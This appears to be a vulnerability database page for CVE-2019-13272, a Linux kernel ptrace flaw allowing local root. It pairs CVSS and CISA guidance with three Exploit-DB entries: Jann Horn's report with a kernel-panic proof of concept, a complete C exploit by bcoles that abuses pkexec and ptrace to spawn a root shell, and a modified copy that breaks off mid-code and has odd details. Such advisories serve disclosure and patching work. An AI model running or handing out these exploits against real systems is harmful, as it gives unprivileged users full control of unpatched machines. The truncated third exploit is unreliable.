CVE-2019-13272 : Detail

CVE-2019-13272

7.8
/
High
0.32%V3
Local
2019-07-17
12h32 +00:00
2025-02-04
20h35 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Linux Kernel Improper Privilege Management Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-12-09 23h00 +00:00

Action is due : 2022-06-09 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47133

Publication date : 2019-07-16 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

== Summary == This bug report describes two issues introduced by commit 64b875f7ac8a ("ptrace: Capture the ptracer's creds not PT_PTRACE_CAP", introduced in v4.10 but also stable-backported to older versions). I will send a suggested patch in a minute ("ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME"). When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU reference to the parent's objective credentials, then give that pointer to get_cred(). However, the object lifetime rules for things like struct cred do not permit unconditionally turning an RCU reference into a stable reference. PTRACE_TRACEME records the parent's credentials as if the parent was acting as the subject, but that's not the case. If a malicious unprivileged child uses PTRACE_TRACEME and the parent is privileged, and at a later point, the parent process becomes attacker-controlled (because it drops privileges and calls execve()), the attacker ends up with control over two processes with a privileged ptrace relationship, which can be abused to ptrace a suid binary and obtain root privileges. == Long bug description == While I was trying to refactor the cred_guard_mutex logic, I stumbled over the following issues: ptrace relationships can be set up in two ways: Either the tracer attaches to another process (PTRACE_ATTACH/PTRACE_SEIZE), or the tracee forces its parent to attach to it (PTRACE_TRACEME). When a tracee goes through a privilege-gaining execve(), the kernel checks whether the ptrace relationship is privileged. If it is not, the privilege-gaining effect of execve is suppressed. The idea here is that a privileged tracer (e.g. if root runs "strace" on some process) is allowed to trace through setuid/setcap execution, but an unprivileged tracer must not be allowed to do that, since it could otherwise inject arbitrary code into privileged processes. In the PTRACE_ATTACH/PTRACE_SEIZE case, the tracer's credentials are recorded at the time it calls PTRACE_ATTACH/PTRACE_SEIZE; later, when the tracee goes through execve(), it is checked whether the recorded credentials are capable over the tracee's user namespace. But in the PTRACE_TRACEME case, the kernel also records _the tracer's_ credentials, even though the tracer is not requesting the operation. There are two problems with that. First, there is an object lifetime issue: ptrace_traceme() -> ptrace_link() grabs __task_cred(new_parent) in an RCU read-side critical section, then passes the creds to __ptrace_link(), which calls get_cred() on them. If the parent concurrently switches its creds (e.g. via setresuid()), the creds' refcount may already be zero, in which case put_cred_rcu() will already have been scheduled. The kernel usually manages to panic() before memory corruption occurs here using the following code in put_cred_rcu(); however, I think memory corruption would also be possible if this code races exactly the right way. if (atomic_read(&cred->usage) != 0) panic("CRED: put_cred_rcu() sees %p with usage %d\n", cred, atomic_read(&cred->usage)); A simple PoC to trigger this bug: ============================ #define _GNU_SOURCE #include <unistd.h> #include <signal.h> #include <sched.h> #include <err.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/ptrace.h> int grandchild_fn(void *dummy) { if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err(1, "traceme"); return 0; } int main(void) { pid_t child = fork(); if (child == -1) err(1, "fork"); /* child */ if (child == 0) { static char child_stack[0x100000]; prctl(PR_SET_PDEATHSIG, SIGKILL); while (1) { if (clone(grandchild_fn, child_stack+sizeof(child_stack), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1) err(1, "clone failed"); } } /* parent */ uid_t uid = getuid(); while (1) { if (setresuid(uid, uid, uid)) err(1, "setresuid"); } } ============================ Result: ============================ [ 484.576983] ------------[ cut here ]------------ [ 484.580565] kernel BUG at kernel/cred.c:138! [ 484.585278] Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1 [ 484.589063] CPU: 1 PID: 1908 Comm: panic Not tainted 5.2.0-rc7 #431 [ 484.592410] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 [ 484.595843] Call Trace: [ 484.598688] <IRQ> [ 484.601451] dump_stack+0x7c/0xbb [...] [ 484.607349] panic+0x188/0x39a [...] [ 484.622650] put_cred_rcu+0x112/0x120 [...] [ 484.628580] rcu_core+0x664/0x1260 [...] [ 484.646675] __do_softirq+0x11d/0x5dd [ 484.649523] irq_exit+0xe3/0xf0 [ 484.652374] smp_apic_timer_interrupt+0x103/0x320 [ 484.655293] apic_timer_interrupt+0xf/0x20 [ 484.658187] </IRQ> [ 484.660928] RIP: 0010:do_error_trap+0x8d/0x110 [ 484.664114] Code: da 4c 89 ee bf 08 00 00 00 e8 df a5 09 00 3d 01 80 00 00 74 54 48 8d bb 90 00 00 00 e8 cc 8e 29 00 f6 83 91 00 00 00 02 75 2b <4c> 89 7c 24 40 44 8b 4c 24 04 48 83 c4 08 4d 89 f0 48 89 d9 4c 89 [ 484.669035] RSP: 0018:ffff8881ddf2fd58 EFLAGS: 00000246 ORIG_RAX: ffffffffffffff13 [ 484.672784] RAX: 0000000000000000 RBX: ffff8881ddf2fdb8 RCX: ffffffff811144dd [ 484.676450] RDX: 0000000000000007 RSI: dffffc0000000000 RDI: ffff8881eabc4bf4 [ 484.680306] RBP: 0000000000000006 R08: fffffbfff0627a02 R09: 0000000000000000 [ 484.684033] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000004 [ 484.687697] R13: ffffffff82618dc0 R14: 0000000000000000 R15: ffffffff810c99d5 [...] [ 484.700626] do_invalid_op+0x31/0x40 [...] [ 484.707183] invalid_op+0x14/0x20 [ 484.710499] RIP: 0010:__put_cred+0x65/0x70 [ 484.713598] Code: 48 8d bd 90 06 00 00 e8 49 e2 1f 00 48 3b 9d 90 06 00 00 74 19 48 8d bb 90 00 00 00 48 c7 c6 50 98 0c 81 5b 5d e9 ab 1f 08 00 <0f> 0b 0f 0b 0f 0b 0f 1f 44 00 00 55 53 48 89 fb 48 81 c7 90 06 00 [ 484.718633] RSP: 0018:ffff8881ddf2fe68 EFLAGS: 00010202 [ 484.722407] RAX: 0000000000000001 RBX: ffff8881f38a4600 RCX: ffffffff810c9987 [ 484.726147] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffff8881f38a4600 [ 484.730049] RBP: ffff8881f38a4600 R08: ffffed103e7148c1 R09: ffffed103e7148c1 [ 484.733857] R10: 0000000000000001 R11: ffffed103e7148c0 R12: ffff8881eabc4380 [ 484.737923] R13: 00000000000003e8 R14: ffff8881f1a5b000 R15: ffff8881f38a4778 [...] [ 484.748760] commit_creds+0x41c/0x520 [...] [ 484.756115] __sys_setresuid+0x1cb/0x1f0 [ 484.759634] do_syscall_64+0x5d/0x260 [ 484.763024] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 484.766441] RIP: 0033:0x7fcab9bb4845 [ 484.769839] Code: 0f 1f 44 00 00 48 83 ec 38 64 48 8b 04 25 28 00 00 00 48 89 44 24 28 31 c0 8b 05 a6 8e 0f 00 85 c0 75 2a b8 75 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 53 48 8b 4c 24 28 64 48 33 0c 25 28 00 00 00 [ 484.775183] RSP: 002b:00007ffe01137aa0 EFLAGS: 00000246 ORIG_RAX: 0000000000000075 [ 484.779226] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcab9bb4845 [ 484.783057] RDX: 00000000000003e8 RSI: 00000000000003e8 RDI: 00000000000003e8 [ 484.787101] RBP: 00007ffe01137af0 R08: 0000000000000000 R09: 00007fcab9caf500 [ 484.791045] R10: fffffffffffff4d4 R11: 0000000000000246 R12: 00005573b2f240b0 [ 484.794891] R13: 00007ffe01137bd0 R14: 0000000000000000 R15: 0000000000000000 [ 484.799171] Kernel Offset: disabled [ 484.802932] ---[ end Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1 ]--- ============================ The second problem is that, because the PTRACE_TRACEME case grabs the credentials of a potentially unaware tracer, it can be possible for a normal user to create and use a ptrace relationship that is marked as privileged even though no privileged code ever requested or used that ptrace relationship. This requires the presence of a setuid binary with certain behavior: It has to drop privileges and then become dumpable again (via prctl() or execve()). - task A: fork()s a child, task B - task B: fork()s a child, task C - task B: execve(/some/special/suid/binary) - task C: PTRACE_TRACEME (creates privileged ptrace relationship) - task C: execve(/usr/bin/passwd) - task B: drop privileges (setresuid(getuid(), getuid(), getuid())) - task B: become dumpable again (e.g. execve(/some/other/binary)) - task A: PTRACE_ATTACH to task B - task A: use ptrace to take control of task B - task B: use ptrace to take control of task C Polkit's pkexec helper fits this pattern. On a typical desktop system, any process running under an active local session can invoke some helpers through pkexec (see configuration in /usr/share/polkit-1/actions, search for <action>s that specify <allow_active>yes</allow_active> and <annotate key="org.freedesktop.policykit.exec.path">...</annotate>). While pkexec is normally used to run programs as root, pkexec actually allows its caller to specify the user to run a command as with --user, which permits using pkexec to run a command as the user who executed pkexec. (Which is kinda weird... why would I want to run pkexec helpers as more than one fixed user?) I have attached a proof-of-concept that works on Debian 10 running a distro kernel and the XFCE desktop environment; if you use a different desktop environment, you may have to add a path to the `helpers` array in the PoC. When you compile and run it in an active local session, you should get a root shell within a second. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
Exploit Database EDB-ID : 47163

Publication date : 2019-07-23 22h00 +00:00
Author : bcoles
EDB Verified : No

// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) // Uses pkexec technique // --- // Original discovery and exploit author: Jann Horn // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 // --- // <[email protected]> // - added known helper paths // - added search for suitable helpers // - added automatic targeting // - changed target suid exectuable from passwd to pkexec // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 // --- // Tested on: // - Ubuntu 16.04.5 kernel 4.15.0-29-generic // - Ubuntu 18.04.1 kernel 4.15.0-20-generic // - Ubuntu 19.04 kernel 5.0.0-15-generic // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic // - Linux Mint 19 kernel 4.15.0-20-generic // - Xubuntu 16.04.4 kernel 4.13.0-36-generic // - ElementaryOS 0.4.1 4.8.0-52-generic // - Backbox 6 kernel 4.18.0-21-generic // - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 // - Kali kernel 4.19.0-kali5-amd64 // - Redcore 1806 (LXQT) kernel 4.16.16-redcore // - MX 18.3 kernel 4.19.37-2~mx17+1 // - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 // - Debian 9.4.0 kernel 4.9.0-6-amd64 // - Debian 10.0.0 kernel 4.19.0-5-amd64 // - Devuan 2.0.0 kernel 4.9.0-6-amd64 // - SparkyLinux 5.8 kernel 4.19.0-5-amd64 // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO // - Mageia 6 kernel 4.9.35-desktop-1.mga6 // - Antergos 18.7 kernel 4.17.6-1-ARCH // --- // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root // user@linux-mint-19-2:~$ ./ptrace_traceme_root // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) // [.] Checking environment ... // [~] Done, looks good // [.] Searching for known helpers ... // [~] Found known helper: /usr/sbin/mate-power-backlight-helper // [.] Using helper: /usr/sbin/mate-power-backlight-helper // [.] Spawning suid process (/usr/bin/pkexec) ... // [.] Tracing midpid ... // [~] Attached to midpid // To run a command as administrator (user "root"), use "sudo <command>". // See "man sudo_root" for details. // // root@linux-mint-19-2:/home/user# // --- #define _GNU_SOURCE #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <stdio.h> #include <fcntl.h> #include <sched.h> #include <stddef.h> #include <stdarg.h> #include <pwd.h> #include <sys/prctl.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <sys/user.h> #include <sys/syscall.h> #include <sys/stat.h> #include <linux/elf.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define SAFE(expr) ({ \ typeof(expr) __res = (expr); \ if (__res == -1) { \ dprintf("[-] Error: %s\n", #expr); \ return 0; \ } \ __res; \ }) #define max(a,b) ((a)>(b) ? (a) : (b)) static const char *SHELL = "/bin/bash"; static int middle_success = 1; static int block_pipe[2]; static int self_fd = -1; static int dummy_status; static const char *helper_path; static const char *pkexec_path = "/usr/bin/pkexec"; static const char *pkaction_path = "/usr/bin/pkaction"; struct stat st; const char *helpers[1024]; const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", "/usr/libexec/gsd-wacom-led-helper", "/usr/libexec/gsd-wacom-oled-helper", "/usr/libexec/gsd-backlight-helper", "/usr/lib/gsd-backlight-helper", "/usr/lib/gsd-wacom-led-helper", "/usr/lib/gsd-wacom-oled-helper", }; /* temporary printf; returned pointer is valid until next tprintf */ static char *tprintf(char *fmt, ...) { static char buf[10000]; va_list ap; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); return buf; } /* * fork, execute pkexec in parent, force parent to trace our child process, * execute suid executable (pkexec) in child. */ static int middle_main(void *dummy) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid(); self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); pid_t child = SAFE(fork()); if (child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); SAFE(dup2(self_fd, 42)); /* spin until our parent becomes privileged (have to be fast here) */ int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); while (1) { char buf[1000]; ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); buf[buflen] = '\0'; if (strstr(buf, needle)) break; } /* * this is where the bug is triggered. * while our parent is in the middle of pkexec, we force it to become our * tracer, with pkexec's creds as ptracer_cred. */ SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); /* * now we execute a suid executable (pkexec). * Because the ptrace relationship is considered to be privileged, * this is a proper suid execution despite the attached tracer, * not a degraded one. * at the end of execve(), this process receives a SIGTRAP from ptrace. */ execl(pkexec_path, basename(pkexec_path), NULL); dprintf("[-] execl: Executing suid executable failed"); exit(EXIT_FAILURE); } SAFE(dup2(self_fd, 0)); SAFE(dup2(block_pipe[1], 1)); /* execute pkexec as current user */ struct passwd *pw = getpwuid(getuid()); if (pw == NULL) { dprintf("[-] getpwuid: Failed to retrieve username"); exit(EXIT_FAILURE); } middle_success = 1; execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, helper_path, "--help", NULL); middle_success = 0; dprintf("[-] execl: Executing pkexec failed"); exit(EXIT_FAILURE); } /* ptrace pid and wait for signal */ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) }; SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); /* set up indirect arguments */ unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; struct injected_page { unsigned long argv[2]; unsigned long envv[1]; char arg0[8]; char path[1]; } ipage = { .argv = { scratch_area + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { unsigned long pdata = ((unsigned long *)&ipage)[i]; SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata)); } /* execveat(exec_fd, path, argv, envv, flags) */ regs.orig_rax = __NR_execveat; regs.rdi = exec_fd; regs.rsi = scratch_area + offsetof(struct injected_page, path); regs.rdx = scratch_area + offsetof(struct injected_page, argv); regs.r10 = scratch_area + offsetof(struct injected_page, envv); regs.r8 = AT_EMPTY_PATH; SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); } static int middle_stage2(void) { /* our child is hanging in signal delivery from execve()'s SIGTRAP */ pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); force_exec_and_wait(child, 42, "stage3"); return 0; } // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * static int spawn_shell(void) { SAFE(setresgid(0, 0, 0)); SAFE(setresuid(0, 0, 0)); execlp(SHELL, basename(SHELL), NULL); dprintf("[-] execlp: Executing shell %s failed", SHELL); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * static int check_env(void) { const char* xdg_session = getenv("XDG_SESSION_ID"); dprintf("[.] Checking environment ...\n"); if (stat(pkexec_path, &st) != 0) { dprintf("[-] Could not find pkexec executable at %s", pkexec_path); exit(EXIT_FAILURE); } if (stat(pkaction_path, &st) != 0) { dprintf("[-] Could not find pkaction executable at %s", pkaction_path); exit(EXIT_FAILURE); } if (xdg_session == NULL) { dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); return 1; } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("[!] Warning: Could not find active PolKit agent\n"); return 1; } if (stat("/usr/sbin/getsebool", &st) == 0) { if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); return 1; } } dprintf("[~] Done, looks good\n"); return 0; } /* * Use pkaction to search PolKit policy actions for viable helper executables. * Check each action for allow_active=yes, extract the associated helper path, * and check the helper path exists. */ int find_helpers() { char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); FILE *fp; fp = popen(cmd, "r"); if (fp == NULL) { dprintf("[-] Failed to run: %s\n", cmd); exit(EXIT_FAILURE); } char line[1024]; char buffer[2048]; int helper_index = 0; int useful_action = 0; static const char *needle = "org.freedesktop.policykit.exec.path -> "; int needle_length = strlen(needle); while (fgets(line, sizeof(line)-1, fp) != NULL) { /* check the action uses allow_active=yes*/ if (strstr(line, "implicit active:")) { if (strstr(line, "yes")) { useful_action = 1; } continue; } if (useful_action == 0) continue; useful_action = 0; /* extract the helper path */ int length = strlen(line); char* found = memmem(&line[0], length, needle, needle_length); if (found == NULL) continue; memset(buffer, 0, sizeof(buffer)); for (int i = 0; found[needle_length + i] != '\n'; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; } if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || strstr(&buffer[0], "/cpugovctl") != 0 || strstr(&buffer[0], "/package-system-locked") != 0 || strstr(&buffer[0], "/cddistupgrader") != 0) { dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); continue; } /* check the path exists */ if (stat(&buffer[0], &st) != 0) continue; helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); helper_index++; if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) break; } pclose(fp); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * int ptrace_traceme_root() { dprintf("[.] Using helper: %s\n", helper_path); /* * set up a pipe such that the next write to it will block: packet mode, * limited to one packet */ SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); char dummy = 0; SAFE(write(block_pipe[1], &dummy, 1)); /* spawn pkexec in a child, and continue here once our child is in execve() */ dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); static char middle_stack[1024*1024]; pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); if (!middle_success) return 1; /* * wait for our child to go through both execve() calls (first pkexec, then * the executable permitted by polkit policy). */ while (1) { int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); char buf[16]; int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); buf[buflen] = '\0'; *strchrnul(buf, '\n') = '\0'; if (strncmp(buf, basename(helper_path), 15) == 0) break; usleep(100000); } /* * our child should have gone through both the privileged execve() and the * following execve() here */ dprintf("[.] Tracing midpid ...\n"); SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); SAFE(waitpid(midpid, &dummy_status, 0)); dprintf("[~] Attached to midpid\n"); force_exec_and_wait(midpid, 0, "stage2"); exit(EXIT_SUCCESS); } int main(int argc, char **argv) { if (strcmp(argv[0], "stage2") == 0) return middle_stage2(); if (strcmp(argv[0], "stage3") == 0) return spawn_shell(); dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); check_env(); if (argc > 1 && strcmp(argv[1], "check") == 0) { exit(0); } /* Search for known helpers defined in 'known_helpers' array */ dprintf("[.] Searching for known helpers ...\n"); for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) { if (stat(known_helpers[i], &st) == 0) { helper_path = known_helpers[i]; dprintf("[~] Found known helper: %s\n", helper_path); ptrace_traceme_root(); } } /* Search polkit policies for helper executables */ dprintf("[.] Searching for useful helpers ...\n"); find_helpers(); for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) { if (helpers[i] == NULL) break; if (stat(helpers[i], &st) == 0) { helper_path = helpers[i]; ptrace_traceme_root(); } } return 0; }
Exploit Database EDB-ID : 50541

Publication date : 2021-11-22 23h00 +00:00
Author : Ujas Dhami
EDB Verified : No

# Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2) # Date: 11/22/21 # Exploit Author: Ujas Dhami # Version: 4.19 - 5.2.1 # Platform: Linux # Tested on: # ~ Ubuntu 19.04 kernel 5.0.0-15-generic # ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 # ~ Kali Linux kernel 4.19.0-kali5-amd64 # CVE: CVE-2019-13272 // .... // Original discovery and exploit author: Jann Horn // https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 // Modified exploit code of: BColes // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 // .... // ~ Uses the PolKit_Exec frontend. // ~ PolKit_Action is branched. // ~ Search is optimized. // ~ Trunks attain search priority upon execution. // .... // ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme // ujas@kali:~$ ./exploit_traceme // Welcome to your Arsenal! // accessing variables... // execution has reached EOP. // familiar trunks are been searched ... // trunk helper found: /usr/sbin/mate-power-backlight-helper // helper initiated: /usr/sbin/mate-power-backlight-helper // SUID process is being initiated (/usr/bin/pkexec) ... // midpid is being traced... // midpid attached. // root@kali:/home/ujas# // .... #include <ctype.h> #include <assert.h> #include <conio.h> #include <stdio.h> #include <sys/syscall.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <stddef.h> #include <sys/user.h> #include <linux/elf.h> #include <stdarg.h> #include <pwd.h> #include <sys/prctl.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #define _GNU_SOURCE #define DEBUG #ifdef DEBUG #define dprintf printf #endif #define max(a,b) ((a)>(b) ? (a) : (b)) #define eff(expr) ({ \ typeof(expr) __res = (expr); \ if (__res == -1) { \ dprintf("[-] Error: %s\n", #expr); \ return 0; \ } \ __res; \ }) struct stat st; const char *trunk[1024]; const char *trunks_rec[] = { "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", "/usr/lib/gsd-backlight-helper", "/usr/lib/gsd-wacom-led-helper", "/usr/lib/gsd-wacom-oled-helper", "/usr/libexec/gsd-wacom-led-helper", "/usr/libexec/gsd-wacom-oled-helper", "/usr/libexec/gsd-backlight-helper", }; static int trace_align[2]; static const char *path_exec = "/usr/bin/pkexec"; static const char *path_action = "/usr/bin/pkaction"; static int fd = -1; static int pipe_stat; static const char *term_sh = "/bin/bash"; static int mid_succ = 1; static const char *path_doublealign; static char *tdisp(char *fmt, ...) { static char overlayfs[10000]; va_list ap; va_start(ap, fmt); vsprintf(overlayfs, fmt, ap); va_end(ap); return overlayfs; } static int middle_main(void *overlayfs) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid(); fd = eff(open("/proc/_fd/exe", O_RDONLY)); pid_t child = eff(fork()); if (child == 0) { 